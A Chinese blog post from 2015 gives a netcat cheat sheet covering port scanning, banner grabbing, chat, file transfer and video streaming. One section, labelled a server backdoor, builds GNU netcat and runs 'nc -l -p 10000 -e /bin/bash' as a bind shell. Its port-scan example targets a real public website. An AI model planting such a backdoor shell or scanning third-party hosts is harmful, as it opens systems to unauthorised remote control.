netcat(nc)使用

Posted on Posted in command
Tips: 本文创建于2015年12月16日,已超过 2 年,内容或图片可能已经失效!

扫描端口

netcat -z -v -w 1 www.baidu.com 70-90  

查看banner

netcat -v www.baidu.com 80  

即时通讯

#server  
nc -l 10000  
#client  
nc ip 10000  

文件传输

#发送  
nc -l 10000 < file.1   
#接收  
nc -n 192.168.1.102 10000 > file.1  

流视频

#发送  
cat 1.wmv | nc -l 10000  
#接收  
sudo apt-get install smyplayer  
nc 192.168.1.102 10000 | mplayer -vo x11 -cache 3000 -  

指定源端口

#server  
nc -l 10000  
#client(客户端指定端口,1024--root)  
nc 192.168.0.102 10000 25  

服务器后门

netcat 两个版本,GNU和OPENBSD,ubuntu自带的是openbsd的,不支持-e参数

官网下载

tar zxvf netcat-0.7.1.tar.gz  
cd netcat-0.7.1  
./configure   
# nc --version  
netcat (The GNU Netcat) 0.7.1  
Copyright (C) 2002 - 2003  Giovanni Giacobbi  
  
This program comes with NO WARRANTY, to the extent permitted by law.  
You may redistribute copies of this program under the terms of  
the GNU General Public License.  
For more information about these matters, see the file named COPYING.  
  
Original idea and design by Avian Research <hobbit@avian.org>,  
Written by Giovanni Giacobbi <giovanni@giacobbi.net>.  
# 或者  
/usr/local/bin/netcat -h  
  
#server  
nc -l -p 10000 -e /bin/bash  
  
#client  
nc 192.168.1.102 10000

参数说明

  • -u 调整为udp
  • -z 使用0 IO,连接成功后立即关闭连接,不进行数据交换
  • -v 参数指定使用冗余选项,即详细输出
  • -n 不要使用nds反响查询IP地址的域名
  • -s 指定本地先用ip地址
  • -i 延迟秒数,设置时间间隔,以便传送消息及扫描通信端口
  • -l 使用监听模式,监控传入的资料
  • -p 设置本地主机使用的通信端口
  • -w 超时秒数,设置等待连线的时间
» 转载请注明来源:呢喃 » netcat(nc)使用

Leave a Reply

Your email address will not be published. Required fields are marked *

thirteen + 15 =